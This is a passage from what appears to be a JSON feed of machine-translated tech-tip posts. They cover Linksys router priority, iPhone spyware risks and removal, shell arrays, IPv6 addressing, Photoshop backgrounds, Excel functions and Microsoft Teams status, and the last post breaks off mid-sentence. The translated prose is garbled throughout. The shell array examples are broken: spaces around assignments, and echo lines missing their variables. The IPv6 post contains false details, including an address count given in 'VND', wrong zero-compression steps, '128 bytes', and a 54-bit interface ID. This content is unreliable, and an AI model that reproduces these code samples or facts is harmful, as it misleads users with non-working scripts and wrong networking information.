application from the drop-down list.\n  Step 4:\nClick the tool element next to the Applications list .\n  \nStep 5:\nDrag and drop the application from the Normal Priority list into High Priority.\nYou can use the order 1, 2 or 3 to determine the priority you want to use.\n  Step 6:\nClick OK.\nNow, you have successfully set the priority for applications with cloud accounts.\n  In addition to applications, you can also add online games that you want to have higher bandwidth priority. To do this, follow the steps above but apply to the Online Games section found in the Normal Priority section .\nIMPORTANT : For users who stream videos and music, you should place the service or application in High Priority section for the best streaming experience.\n  \nExpand your network In addition to configuring advanced features of the Smart Wi-Fi Routers, you can still do more. By connecting additional devices, you can extend the wireless signal to adapt to hard-to-reach areas in the home, and even connect more devices (both wired and wireless) to play games or entertain.\nSee more:\nHow to calculate network bandwidth and transmission required Internet acceleration 20% faster in Windows Why is upload speed usually much slower than download speed? ncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZqiimrOmvtGem2aakaOxuLXDrZ9mnp%2BneqitzJ6qZpmgpbmqr8CtoKimo2K8r3nLoqWkq6moerO71K2cqw%3D%3D\n","link":"/post/set-up-preferred-bandwidth-for-games-applications-on-linksys-router/","section":"post","tags":null,"title":"Set up preferred bandwidth for games, applications on Linksys router"},{"body":"Nearly all spyware (spyware) on smartphones will record everything the phone does without being detected. A spyware-infected device can be tracked via GPS, stolen text messages and incoming call logs, and even have remote access to photos, videos and browser history.\nInstalling spyware on an iPhone was once considered a difficult task. Apple's strict security settings and iOS architecture make it difficult to install spyware. That hasn't changed, but spyware developers have learned to break many of the anti-spyware protection mechanisms on iOS.\nIf you suspect someone has harmed your iPhone or wondered how to detect spyware on an iPhone, here's what you need to know.\nWhat are the security risks for iPhone spyware? Is there a legitimate use case for spyware? Is it difficult to install spyware on iPhone? Install spyware on jailbroken iPhone Is jailbreak easy or fast? Are unauthenticated iOS apps safe? Spyware does not need jailbreak on iPhone How to detect spyware on iPhone How to remove spyware on iPhone Should parents install spyware on their child's iPhone? Is there a legitimate use case for spyware? Spyware, by its very nature, is designed to snoop on people. Anyone who is planning to install such a software is probably not interested in this. Or you can find a reason to justify your actions.\nWhatever your reasons, think about how you would feel if someone did the same thing to you.\n  Most spyware is sold extensively on the market. Not only are they advertised to snoopers, want to track an individual's location, or get information about someone's use of a smartphone, but are advertised as a security tool. legal. This is the worst violation of privacy.\nUnfortunately, you can't change everyone's mindset, but it can help those attracted to dishonest 'awakened' marketers.\nParents should review the use of spyware to monitor their children. There are many free and secure ways to share locations from iPhones (and other Apple devices) that you can find at the end of this article.\nSometimes, spyware marketing is targeted at employers. Employers should not use spyware to track employees. If you want to use the Mobile Device Management (MDM) policy on employee hardware, do not use the BYOD (Bring Your Own Device) policy in conjunction with it.\nThere is no doubt that MDM policy is important. But an individual device should be kept private and installing MDM software compromises the device's privacy.\nIs it difficult to install spyware on iPhone? For a long time, no spyware in the world has been able to accomplish its goal, without voiding the iPhone's warranty. This includes tracking any activity, tracking any location, uploading videos and camera images, etc.\nParents who install iPhone spy software invalidate the warranty on their children's devices. Spouses / lovers void their warranty on their spouse's iPhone if spyware is installed. And the same thing happens with employers, etc.\n'Unauthorized modification of iOS is a violation of iOS's end-user software license agreement and for this reason Apple may refuse to apply a service policy to the iPhone, iPad or iPod touch with any part installed. It's illegal. '\nThat's because the strongest iPhone forms of spyware require jailbreaking before allowing access to all private data. Not all legal explanations about jailbreaking and warranty terms agree with Apple's explanation. But if something happens to the device during jailbreak, Apple can use it against you.\nJailbreaking will also invalidate any AppleCare after-sales warranty. You can perform a jailbreak if it's your iPhone and understand the risks involved. An incorrect jailbreak process could turn your iPhone into a brick. But jailbreaking other people's devices without their consent is not a good thing to do.\nInstall spyware on jailbroken iPhone Compared to Android, installing spyware on iPhone is very difficult. Apple takes a tough and commendable approach to security and privacy. iPhone is not designed to run non-Apple software. Doing so is considered a security breach. Interfering with software at the system level is not illegal, but Apple can and will detect any changes, even if you take your device for basic repair.\n  Android, meanwhile, does things differently. Uncheck a box in the Settings section that allows installation of non-Google Play apps. This process is reversible right away, but still allows those applications to stay.\nJailbreaking involves loading custom firmware into the iPhone. Jailbreak brings more freedom on the device, allowing users to run unsigned software. The most advanced spyware is not always certified, for two reasons: Spyware will violate the rights of iOS and Apple will never allow such spyware on the App Store in the first place.\nIs jailbreak easy or fast? In the early days of the new jailbreak, new vulnerabilities were found regularly.\nThe jailbreak of iOS is relatively easy, allowing the installation of custom applications (and in this case, spyware). It is possible to jailbreak an old iOS device in minutes, with just a little preparation.\nRecent versions of iOS are more secure and take longer for jailbreak developers to crack. At the time of writing, jailbreaks exist for Apple devices running up to iOS 12.4. The jailbreak process is also significantly faster. The latest jailbreak method (at the time of writing) takes a few minutes to complete and doesn't require you to connect your iPhone to your computer at any time.\nThere was a long time that jailbreakers could not find a new exploit to exploit. Installing and updating the most invasive forms of spyware during those times is difficult. Unfortunately, iOS 12.4 version made a flaw discovered by jailbreakers and quickly launched a new option.\nAre unauthenticated iOS apps safe? Unauthenticated applications are likely to include malware. If the SSH root password remains unchanged after the jailbreak process is completed, the malware may run uncontrollably on your phone. Without Apple monitoring software, you have to rely on third-party developers. Spyware is malicious software marketed as legitimate software.\njailbroken iPhones and other iOS devices can sometimes have trouble running legitimate App Store apps. Developers have a way to detect jailbreaks and can now prevent jailbroken devices from using their services. An example is DIRECTV which provides video streaming and another reported application is Skype for iOS. Many banking applications, like PayPal, are also restricted for obvious reasons. Getting these apps working again is like playing a 'cat and mouse' game between the developers and the jailbreak community.\nSpyware does not need jailbreak on iPhone The time when there was no option to jailbreak the latest version of iOS led spies to look for other spyware options. A range of non-jailbroken spyware applications are available. Non-jailbroken iPhone spyware applications can provide the same level of data as spyware installed using a jailbreak exploit process.\n  Spyware without jailbreaking on iPhone uses the victim's iCloud login information and exploits the data found there. The spyware application can then use built-in iCloud services like Find My iPhone to track the target device or read the victim's iMessage history without anyone noticing.\nHow to detect spyware on iPhone There is no guarantee you will find evidence of spyware on iPhone. As you might have guessed, the spyware design developers remain hidden and operate without a trace.\nInstead, you are more likely to encounter other iPhone issues related to spyware. For example, you can find evidence of a jailbreak, instead of a spyware application. You can also note whether the device uses a lot of battery or data capacity decreases faster than normal.\nThe most obvious sign is the Cydia application. The Cydia app installs during the jailbreak process and is the gateway to jailbreaking unauthenticated apps, as well as unofficial iOS edits. Even if the spy hides Cydia from the home screen, you will still find it using the home screen search function of iOS.\n  There is no guarantee that Cydia will be found and spies who are careful to try to hide all signs of jailbreak. Other apps to look for, which may indicate a sign of jailbreak, include Installer, Icy, SBSettings, Absinthe and Installous. Similarly, installing an application like PayPal (mentioned above) may reveal problems, if the application refuses to run.\nTo learn more about iPhone spyware detection methods, see the article: How to protect yourself from unethical or illegal espionage.\nHow to remove spyware on iPhone Jailbreak is a cat and mouse game between Apple and the jailbreak community. Keeping your device up-to-date and making all iOS updates reduces the chance of installing the most invasive iPhone spyware forms.\nApple quickly fixes security holes and jailbreak exploits. Bringing iPhone back to an older firmware version is rarely an option. Thus, even if someone has jailbroken your iPhone, reversing the problem is simple.\nIf you suspect spyware is on your iPhone, restoring to factory settings is the easiest option to restore your device and privacy. Although Apple tracks the unique identifier (UDID) of jailbroken devices via the App Store, it seems that restoring a 'like new' phone will erase all jailbreak traces.\n  To restore iPhone on macOS or Windows PC, first launch iTunes. Then go to Summary\u0026gt; Restore iPhone . You can select Back Up Now before the firmware restoration process begins, this will save your personal data.\nIf you choose to backup and restore, there is a chance that some evidence of a jailbreak will remain, but the jailbreak will not exist. If your phone needs attention from Apple (covered by a 12-month warranty or extended AppleCare package), Apple technicians may reject you, if they detect it by jailbreaking.\nShould parents install spyware on their child's iPhone? There are two easy ways to use spyware on iPhone for parents who are concerned about this issue.\nFind My Friends works on Apple devices and uses Apple ID to connect friends and family. By authorizing a friend or family member to see your location in Find My Friends, they will be able to see where you are whenever they want. If you have children, you can turn on location sharing in Find My Friends, then use iOS restrictions to prevent changes to Location Services.\nThe Find My Friends application works best with user consent. You can use Find My Friends as an opportunity to establish a reliable system with your children. The application will not record messages, phone calls or camera activity as this is not spyware. It is a tool to keep in touch or open a safe, personal conversation with your child.\n  The second way to share location between iOS devices is through the Messages app. Just open a conversation on the device, press the 'i' button in the upper right corner and click Share My Location or Send My Current Location . You can choose to do so for an hour, a day or indefinitely. You can then stay in touch by opening the same conversation on another device and pressing the 'i' button.\nSpyware on iPhone is dangerous for many reasons (they include data theft, malware, scams, etc.) This is also a lesson about morality and beliefs between you and your children. , or may need to have a conversation with your boss about personal space and respect.\nRemember, spyware is not the only iOS security issue you should know about. Refer to the article: How to overcome 5 common security threats on iPhone and iPad for more details.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2Yp5%2BVp8Buu8Vmqqmxp5a%2FpnnOp2SiqJiku6Y%3D\n","link":"/post/the-dangers-of-spyware-on-iphone/","section":"post","tags":null,"title":"The dangers of spyware on iPhone"},{"body":"A shell variable is able to hold a single value. This type of variables is called scalar variables.\nThe shell supports different types of variables called an array variable that can hold multiple values ​​at the same time. Arrays provide a method for grouping a set of variables. Instead of creating a new name for each required variable, you can use an array variable to store all other variables.\nAll name rules are discussed in chapter Shell variables that will be applied during array naming.\nDefine array values ​​in Unix / Linux The difference between an array variable and a scalar variable can be explained as follows:\nWhen you are trying to represent the names of different students as a set of variables. Each single variable is a scalar variable as follows:\nNAME01 = \"Zara\" NAME02 = \"Qadir\" NAME03 = \"Mahnaz\" NAME04 = \"Ayan\" NAME05 = \"Daisy\"  We use a single array to keep all the names mentioned above. The following is a simple method for creating an array variable to assign a value to one of them. This is described as follows:\narray_name [ index ] = value  Here array_name is the name of the array, index is the index of the items in the array you want to set and value is the value you want to set for that item.\nHere is an example, the following commands:\nNAME [ 0 ] = \"Zara\" NAME [ 1 ] = \"Qadir\" NAME [ 2 ] = \"Mahnaz\" NAME [ 3 ] = \"Ayan\" NAME [ 4 ] = \"Daisy\"  If you are using ksh shell, then the syntax of the array is:\nset - A array_name value1 value2 . valuen  If you are using a bash shell, here the array syntax is:\narray_name = ( value1 . valuen )  Access to array values ​​in Unix / Linux After you have set any array value, you can access it as follows:\nHere array_name is the array name, and index is the index of the values ​​to be accessed. Here is a simple example:\n#! / bin / sh NAME [ 0 ] = \"Zara\" NAME [ 1 ] = \"Qadir\" NAME [ 2 ] = \"Mahnaz\" NAME [ 3 ] = \"Ayan\" NAME [ 4 ] = \"Daisy\" echo \"First Index : \" echo \" Second Index: \"  It will produce the following result:\n$ ./ test . sh First Index : Zara Second Index : Qadir  You can access all items in an array in one of the following ways:\n$ { array_name [*]} $ { array_name [@]}  Here array_name is the name of the array you are interested in. Here is a simple example:\n#! / bin / sh NAME [ 0 ] = \"Zara\" NAME [ 1 ] = \"Qadir\" NAME [ 2 ] = \"Mahnaz\" NAME [ 3 ] = \"Ayan\" NAME [ 4 ] = \"Daisy\" echo \"First Method : $ {NAME [*]} \"  It will produce the following result:\n$ ./ test . sh First Method : Zara Qadir Mahnaz Ayan Daisy Second Method : Zara Qadir Mahnaz Ayan Daisy  According to Tutorialspoint\nPrevious article: Special variables in Unix / Linux\nNext lesson: Basic Shell operators\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjJqpq5mpYravedKhnKWk\n","link":"/post/use-array-in-shell/","section":"post","tags":null,"title":"Use array in Shell"},{"body":"What is IPv6? IPv6(Internet Protocol version 6) is the latest version of Internet Protocol (IP), a communication protocol that provides a positioning system for computers on the network and routes traffic on the Internet.IPv6 has been developed by IETF to address IPv4 address exhaustion.IPv6 was created to replace IPv4.\nAs such, the IPv6 protocol is gradually gaining popularity and we have written this series to introduce you to the IPv6 protocol.\nThe birth history of IPv6 The Internet Engineering Task Force (IETF) is the organization responsible for defining Internet Protocol (IP) standards. When developing IPv4, IETF did not anticipate the rapid development of global Internet as well as other important Internet security issues. In the original design of IPv4, network security was not taken seriously. In the 1980s, when IPv4 was being developed, the new Internet was being built under the cooperation of several organizations. By the time IPv4 was complete, it was also when the Internet began to explode, threats on the Internet became popular. If the current environment of online threats is predicted right from the development of IPv4, we have more security measures combined with its design. But that did not happen.\nIn the early 1990s, the IETF admitted that a new version of IP was needed and that they started by drafting the requirements that this IP needed. IP Next Generation (IPng) was created, then became IPv6 (RFC 1883) as it is today. IPv6 is the second standard network layer protocol after IPv4, used for computer communication via the Internet and other computer networks. IPv6 provides some interesting functions and is really the next step in the IP development process. These improvements include increasing address space, streamlined header formats, scalable headers, and the ability to maintain the privacy and integrity of information transmitted within the network. IPv6 was then fully standardized by the end of 1998 in RFC 2460. IPv6 has perfected the shortcomings left by IPv4 and created new ways to communicate that IPv4 cannot support.\nIPv6 provides some improvements over IPv4. Advantages of IPv6 are presented in detail in the relevant documents. Below are the summary features of IPv6 and the improvements it can provide:\nLarger address space: Increase from 32bit to 128bit. Improved protocol header: Improved packet forwarding performance. Automatic stateless configuration: Let the buttons determine their own addresses. Multicast: Enhance the use of effective one-way communication. Jumbograms: Support for large payload packets for greater efficiency. Network layer security: Communication encryption and authentication. QoS (Quality of service) capability: Mark QoS for packets and labeling to help determine which traffic should be prioritized. Anycast: Backup service uses non-special addresses. Mobility: Easier when handling mobile or roaming devices.   Photo source: Wikipedia\nIPv6 address space The most significant difference between these two protocols is the length of the source address and their address. Switching to IPv6 is due to the lack of IP addresses. This IPv6 protocol has a larger address space than the IPv4 protocol.\n  The IPv4 protocol uses a source address and a destination address of 32bit. These addresses are represented in four parts. A typical IPv4 address looks like 192.168.0.1 .\nIn contrast to IPv4, IPv6 addresses are 128 bits long. That allows to be able to perform to 3.4x1038 (340,000,000,000,000,000,000,000,000,000,000 VND) address. There are a few differences in IPv6 address representation. An IPv6 address is usually written in 8 groups, each consisting of 4 hex numbers and each group is separated by a ' : ' sign. The following example shows this 2001: 0f68: 0000: 0000: 0000: 0000: 1986: 69af .\nYou are considering the sample address above and thinking that typing an IPv6 address takes a lot of time and effort? But not so, IPv6 addresses can only be written briefly by minimizing zeros. There are two rules to follow here when representing an IP address. First, a sequence of four consecutive 0s can be replaced by two ' :: ' signs. In that way the above IPv6 address can be abbreviated as follows: 2001: 0f68 :: 0000: 0000: 0000: 1986: 69af .\nIn the example above, we can only estimate a block of 0s because this rule states that there is only one pair of ' :: ' in an address. Obviously, the address that is example above still has a lot of digits that need to be typed. However, the second rule will allow you to make this address shorter. The second principle says that zeroes in a group can be ignored. If a 4-digit block starts with a zero, this zero can be omitted to leave 3 zeros in the block. If the three-digit block also starts with a leading zero, we can continue to eliminate it . And so on until you meet another number 0 in the group, stop. In case if the 4 numbers in the group are 0, the last retained number is a zero. If you keep talking and do not perform in a specific example for you to follow easily, it is an omission. Here's what we can apply both to the example address:\n2001: 0f68: 0000: 0000: 0000: 1986: 69af\n2001: f68: 000: 000: 000: 000: 1986: 69af 2001: f68: 00: 00: 00: 00: 1986: 69af 2001: f68: 0: 0: 0: 0: 1986: 69af 2001: f68 :: 1986: 69af\nNote that in each line, we omitted one zero from each group. When the rest of the numbers are zeros, we can apply 4 consecutive zeroes with two ' :: ' signs. This can only be done if four zeroes go together. If that condition is not satisfied, we must leave the numbers 0.\nUse the IPv6 addresses in the URL Although DNS servers can access a website using a domain name instead of using an IP address, you can still enter an IP address instead of a part of a URL. For example, a personal website uses the URL www.quantrimang.com , which corresponds to the IP address 24.235.10.4. With such an IP address, I can access the website completely by entering the URL: http://24.235.10.4\nMost web surfers often do not use the habit of entering IP addresses. However, this type of access still exists. This is especially true for individual web applications. When not related to a domain name, an application has the ability to avoid unauthorized users fumbling and jumping into your application by accident.\nWhen an IP address is used instead of a domain name, the port number is sometimes specified as part of the address. If you simply enter after HTTP: // then an address then the browser will assume that you want to use port 80. However, you can specify any port to access the website. For example, if you want to access the website www.quantrimang.com using an IP address and specifically port 80 is used, the command should be used http://24.235.10.4:80\nThe IPv6 protocol, too, is used as part of a URL. But if you are interested in IPv6 format, you should note that an IPv6 address consists of many ' : ' signs. This raises a problem when your browser treats anything behind the ' : ' sign as a port number. In that case, IPv6 addresses are distinguished within parentheses when they are used as part of the URL. For example, if you used the sample IPv6 address in a URL, it would look like this:\nHTTP: // [2001: 0f68: 0000: 0000: 0000: 0000: 1986: 69af] /\nJust as you can specify the port number with an IPv4 address, you can also specify the port number when using an IPv6 address. The port number must follow the same mandatory format as when using IPv4. And outside the brackets. For example, if you want to access the website at the above sample IPv6 address on port 80, the input URL will be as follows:\nHTTP: // [2001: 0f68: 0000: 0000: 0000: 0000: 1986: 69af]: 80 /\nNote that the port number in this case is 80, between the parentheses and the slash. A ' : ' is also used to specify the port number as in the IPv4 protocol.\nComponents of IPv6 If you are familiar with IPv4 then you must know that an IPv4 address consists of four sections, each of which is distinguished by a dot. Part of this address denotes the network number and the remaining bits are used to distinguish a specific host on the network. The number of real bits is designed for different network numbers and hosts depending on the subnet mask.\nAn IPv4 address is divided into different sections, as does the IPv6 address. In the previous article, you learned about IPv6 addresses with 128 bits in length. When an IPv6 address is written in full form, it is expressed in 8 different sections, each with 4 numbers and separated by a ' : '. Each of these 4-digit sections represents 16 data bits, each of which is used for specific purposes.  Specifically, each IPv6 address is divided into three different parts: site prefix , subnet ID , interface ID . These three components are identified by the location of the bits inside an address. The first three fields in IPv6 are denoted site prefix, the next field represents the subnet ID and the last 4 fields represent the interface ID. Site prefix is the same as IPv4 network number. It is the number assigned to your site by an ISP. Typically, all computers in the same location will share the same site prefix. Site prefix is ​​intended to be shared when it recognizes your network and allows the network to be accessible from the Internet. Unlike the site prefix, the subnet ID is unique because it is inside your network, the subnet ID describes the network structure of the network. Subnet ID works very similar to how the subnet works in the IPv4 protocol. The biggest difference here is that networks that can be 16 bytes long are represented in hex format rather than decimal point symbols. A typical IPv6 subnet is equivalent to a single network branch (page) as an IPv4 subnet. The Interface ID works like an IPv4 configuration ID. This number uniquely identifies a private host in the network. Interface ID (which is sometimes referred to as a tag) is typically configured automatically based on the MAC address of the network interface. Interface IDs can be configured in EUI-64 format. To see how an IPv6 address is divided into its various sub-sections, look at the address below: 2001: 0f68: 0000: 0000: 0000: 1986: 69af The site prefix section of this address is: 2001: 0f68: 0000 . The next field is 0000 indicating the subnet ID. The remaining bytes ( 0000: 0000: 1986: 69af ) denote the interface ID. Typically when a prefix is ​​represented, it is written in a special format. The zeros are explained in the previous article and the prefixes are followed by a slash and number. The number after the slash indicates the number of bits in the prefix. In the previous example I mentioned site prefix for address 2001: 0f68: 0000: 0000: 0000: 1986: 69af was 2001: 0f68: 0000 . When this prefix is ​​48 bits in length, we should add a / 48 to end it properly. With omitted numbers 0, the prefix will write as follows: 2001: f68 :: / 48\nTypes of IPv6 addresses IPv6 has three different types of addresses: Unicast, Multicast and Anycast. Unicast addresses are used to distinguish individual hosts on a network. Multicast addresses are used to distinguish a group of network interfaces that typically reside in complex computers. When a packet is sent to a multicast address, the packet is sent to all network interfaces in the Multicast group.\nLike multicast addresses, Anycast addresses also distinguish a specific group of network interfaces that often reside in complex computers. So what makes an Anycast route different from a multicast group? When packets are sent to a Multicast address they are sent to all network interfaces in the group. Contrary to that, when packets are sent to an Anycast address, these packets are not sent to the entire group but instead they are only sent to members physically closest to the sender.\n  Photo source: Cisco\nUnicast addresses: \n\nWe have shown you the format of an IPv6 address and the different bit locations used. There are indeed two different types of Unicast addresses: global and local. A global Unicast address is widely accessible, while the locally linked Unicast address is only accessible to other computers that share the link. The IP address format I showed you earlier is a global unicast address. We talked about this type of address because it is the most common type of address.\nLocal linked Unicast addresses used a different address format than global Unicast addresses. Like global Unicast addresses, locally linked Unicast addresses also contain 128 bytes of length. The differences in these two types are different distributed bytes and the address uses a special site prefix.\nIn an internal link Unicast address, a site prefix occupies the first 10 bits of the address instead of the first 48 bits as in the case of a global Unicast address. Site prefix is ​​used with a locally linked Unicast address: fe80 .\nWhen the site prefix is ​​shortened (compared to a global Unicast address), you might not be surprised to see that the number of specified spaces in the subnet ID has been extended from 16 bits to 64 bits. What is here is that 64 bits is not really used. Remember that a locally linked IP address is only valid for computers that share a common link. As such, there is no reason to need a subnet ID. 64 bits of address space that is reserved for subnet IDs are represented as zeroes.\nThe interface ID for a local link unicast address is 54 bits long. Interface ID is almost always derived from 48 bits of MAC address assigned to the network interface card so that the protocol is gender-delimited. Below is an example of a local link unicast address.\nFe80: 0000: 0000: 0000: 0000: 0000: 23a1: b152\nOf course, when the IPv6 addresses are written, they are often expressed with a zero number that has been annihilated. Therefore, a proper abbreviation formula for this address technology is:\nFe80 :: 23a1: b152\nWhen the addresses described with zeros have been suppressed, the first address looks like any IPv6 address. Remember that you can tell the difference between a local Unicast address and other addresses because a local Unicast address will always start with fe80.\nMulticast address:  As we explained in the previous section, multicast addresses are used to identify a group of network interfaces, known as a multicast group. Typical network interfaces are located on complex computers but this is not a pure device. Multicast addresses are used to send information to any network interface defined by the Multicast group.\nOne of the most interesting things about multicast addresses is that they are completely separate, a network interface that has a Multicast address does not mean that the machine cannot have a Unicast address or is in other Multicast groups. In fact, some operating systems have added a computer network adapter to different Multicast groups at the time the adapter's unicast address is defined. For example, the Solaris operating system automatically adds network adapters to the Solicited node and all node multicast groups (or all routers). In case you are unfamiliar with Solaris, the Solicited button group is used for discovering other IPv6 enabled devices on the network. Windows Vista also has a similar function.\nWe have explained to you how multicast addresses are used for Multicast addresses. Although an IPv6 address is 128 bits long, the first 8 bits of the address re-define the Multicast address. Each Multicast address uses a prefix format of 11111111. When represented in hex notation and ':', a multicast address always starts with FF.\nThe next four bits of the Multicast address are flag bits. At the present time, the first three bits in the four-bit group are unused (so they are set to 0). The fourth flag bit is known as a padlock bit. Its mission is to indicate whether the address is a temporary or permanent address. If the address is a regular address, this bit will be assigned to 0, otherwise it will be assigned to 1.\nThe next four bits in the Multicast address are known as Scope ID bits. The amount of reserved space for Scope ID bits is 4 bits, which means that there are 16 different values ​​expressed. Although not all 16 values ​​are used at the present time, 7 of those values ​​are used to determine the scope of the address. For example, if an address has a global scope, the address is valid across the entire Internet. Currently, Scope ID bits are used as follows:\nDecimal value Binary value Address range 0 0000 Reserve 1 0001 Internal node range 2 0010 Internal link range 5 0101 Internal page range 8 1000 Internal organization scope 14 1110 Scope Global 15 1111 Reserve The remaining 112 bits are used for group IDs. The size of the ID group allows Multicast addresses to use up 1/256 of the IPv6 address space.\nTo set this addressing scheme in the upcoming section, we show you some of the most frequently used Multicast addresses:\nFF0x0: 0: 0: 0: 0: 1\nThis is a Multicast for all nodes. You may have to pay attention to the 'x' in the address, it is not a hex coefficient character. It is a placeholder for scope. This specific address can use the internal node range (FF01: 0: 0: 0: 0: 0: 1) or the internal link range (FF02: 0: 0: 0: 0: 0: 1 ).\nFF0x: 0: 0: 0: 0: 0: 2\nThis Multicast address is assigned to all routers within the defined range. There is also an 'x' here, it also has the same function. Valid ranges are internal nodes (FF01: 0: 0: 0: 0: 0: 2), internal links (FF02: 0: 0: 0: 0: 0: 2) and internal pages (FF05 : 0: 0: 0: 0: 0: 2).\nAnycast address:\nIf you have studied the IPv4 protocol, you may know that Unicast and Multicast concepts also exist in IPv4, although in IPv6 they are added with many other issues. Anycast is unique to IPv6. Anycast works like a combination of Unicast and Multicast addresses. An unicast address is used to send data to a specific recipient, a Multicast address is used to send data to a group of recipients and an anycast address is used to send data to a specific recipient is outside the recipient group.\nIn case you are wondering, anycast is created as a way to make load balancing easier. Imagine a situation where you need to provide a large number of users so they can access services or go to their router. In such a situation, it often makes you have to use multiple servers to configure the service that is being provided or use complex routers or whatever is possible. The reason for this is because it can allow distribution of workflows between complex devices.\nThis type of load balancing is very difficult if using IPv4 (although it has been done). Using anycast addresses with IPv6 will be absolutely effective with load balancing. You need to send a user request to one of the devices, while not being able to care for the designated device that manages the request, but only a requirement to be concerned. By using Anycast addresses, each request is automatically sent to the device that is nearest geographically to the requested computer. In some situations, anycast can even be used to provide tolerance errors for a faulty router. Errors can be detected and requests can be resubmitted via another nearby router.\nThe strangest problem with anycast addresses is that there is no special addressing scheme. With this article, you have seen many types of rules covering use and the structure of unicast addresses and Multicast addresses to assign the same Unicast address to complex hosts. By doing so, Unicast addresses become an Anycast address.\nIn this series of articles, we have tried to skim fundamentally about the IPv6 protocol. Most administrators may not need to become experts right away but IPv6 is an essential component in Windows Vista and Longhorn Server. Therefore, it is necessary to learn a little about it.\nncG1vNJzZmismaXArq3KnmWcp51krqO71K1koqima3qisMOrnKyr\n","link":"/post/about-ipv6-address/","section":"post","tags":null,"title":"About IPv6 address"},{"body":"To create beautiful products with Photoshop, we have a lot of resources to use. One of the necessary resources on Photoshop is Background. Background image will be the place to display all the content that you want to convey, if a beautiful background will raise the value of the product, so it is very high. In this article, Software Tips will send you beautiful Background sets for Photoshop.\n    Beautiful Background images for Photoshop\n  Photo Background beautiful\n  Beautiful Banned background\n  Blue sky background\n  Sky background\n  Beautiful Bokeh Background for Photoshop\n  Beautiful grass background\n  Background for Photoshop is very beautiful\n  Background for Photoshop\n  Extremely beautiful background for Photoshop\n  Luxury black background\n  Beautiful high quality background\n  Beautiful background for Design\n  Beautiful background for Photoshop\n  Beautiful background for Photoshop\n  Beautiful background for Photoshop\n  Beautiful Background Full HD\n  Beautiful HD background\n  Beautiful background for Photoshop\n  Beautiful background\n  Background Design\n  Simple background for Photoshop\n  Beautiful simple background\n  Street background\n  Fruit background\n  Sunset background\n  Cute pink background\n  Beautiful hip background color\n  Beautiful blue background\n  Background beautiful background\n  Very beautiful white background\n  Background white background\n  Simple Photoshop background\n  Background Photoshop Full HD\n  Background Photoshop HD\n  Background Photoshop\n  Beautiful forest background\n  Beautiful autumn forest background\n  Beautiful natural background\n  Background design Photoshop\n  Beautiful dark background\n  Beautiful white background\n  Brick wall background\n  Painted wall background\n  Typography Background\n  Beautiful yellow background\n  Background of beautiful calligraphy\n  Background\n  Beautiful Background images\n  Beautiful Background Images\n  Beautiful Background Pattern\nIn the article is a beautiful background for Photoshop with many different topics for you to use. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYq%2Bir8qgqaitnpl6p7vRZqehp6SkwKm7zw%3D%3D\n","link":"/post/beautiful-background-for-photoshop/","section":"post","tags":null,"title":"Beautiful background for Photoshop"},{"body":"The following article introduces you to the CHISQ.DIST function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the distribution when squared, and this value is often used to understand variations as a percentage of the samples. Support function from Excel 2010 version.\nSyntax:  CHISQ.DIST (x, deg_freedom, cumulative)\nInside:\n- x: Value to evaluate distribution.\n- deg_freedom: Number of degrees of freedom.\n- cumulative: The logical value that determines the form of the function, including:\n+ cumulative = True -\u0026gt; returns the cumulative distribution function.\n+ cumulative = False -\u0026gt; returns the probability density function.\nAttention:\n- If any value of the parameter is not numeric -\u0026gt; the function returns the error value #VALUE!\n- If x -\u0026gt; the function returns the #NUM! Error value\n- If deg_freedom is not an integer -\u0026gt; it is truncated to an integer.\n- If deg_freedom or deg_freedom\u0026gt; 10 ^ 10 -\u0026gt; the function returns the #NUM! Error value\nFor example:\nCalculate the distribution when the square returns the cumulative distribution function and the probability density function according to the data in the table below:\n  - Calculate the distribution when the square returns the cumulative distribution function. In the cell to calculate enter the formula: = CHISQ.DIST (C6, C7, C8)\n  - Press Enter -\u0026gt; distribution when the square returns as the cumulative distribution function is:\n  - Calculate the distribution when the square returns the probability density function. In the cell to calculate enter the formula: = CHISQ.DIST (C6, C7, C9)\n  - Press Enter -\u0026gt; distribution when the square returns as the probability density function is:\n  Above are instructions and some specific examples when using the CHISQ.DIST function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksKm10qqboqukYrO2usKtoKimXaeytcHRp6pmrJiaeqW10q2popqlqbawuoywn56mXai%2Btq3RnptmoZ5isrmvxKU%3D\n","link":"/post/function-returns-the-distribution-when-squared-in-excel/","section":"post","tags":null,"title":"Function returns the distribution when squared in Excel"},{"body":"Change status in Microsoft Teams In Microsoft Teams, your status is displayed as a colored circle next to your profile picture. You can see this status logo at all times in the upper right corner of the screen.\n  Of course, you can also view a person's status, shown in their profile picture next to the conversation.\n  Microsoft Teams automatically changes your status in certain situations, such as when you're in a meeting, during a video call. or if you are inactive for a certain amount of time. However, you can also manually change this state as you like.\nFirst, click your profile photo in the top right corner of the Microsoft Teams interface. Then just click choose the right status from the list available.\n  Alternatively, you can also set the length of time you want to stay in a specific state by clicking ' Duration '.\n  Next, choose the state you want as well as the specific length of time you want to stay in that state.\n  Your status will automatically revert to ' Available ' at the end of the time (or ' Busy ' if the time interval you set ends at the exact time you are in a meeting or during a call).\nYou can also change your status from the Search box at the top of the screen by entering one of the following commands:\n/ available : Set your status to Available. / busy : Set your status to Busy. / dnd : Set your status to Do not disturb. / brb : Set your status to Be right back. / away : Set your status to Away. / offline : Set your status to Appear offline. If you prefer to use keyboard shortcuts, pressing Ctrl + e will bring you to the search box. For example, to set your state to ' Do not disturb ', press Ctrl + e, then '/ dnd'.\nMicrosoft Teams ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyypq6qXajBosDUrGSipl2itqS%2Bzqymn6xdqbKiudI%3D\n","link":"/post/how-to-change-your-status-in-microsoft-teams/","section":"post","tags":null,"title":"How to change your status in Microsoft Teams"},{"body":"Download the Excel file online or copy the Excel file from your friend's computer to your computer. But when you open it, it cannot open, you are not sure how to fix the error of not opening Excel file? Invite you to refer to the way that the tutorial article below.\n  Here are ways to fix the error of not opening Excel file, please follow along.\n1. Format error If you open and see the error message \"Excel cannot open the file 'filename.xlsx' because the file format or file extension is not valid . ' then it means your version of Excel is lower than the version The file has been created because the new .xls file can be opened in lower versions of Excel.\n  To open the .xlsx format, you need to install newer versions such as Office 2010, 2013 or 2016 to be able to easily open the file. Or you can change the file format from .xlsx to .xls by pressing F2 to rename then you change the format to .xls and press Enter\n  The message appears Are you sure you want to change it? (Are you sure you want to 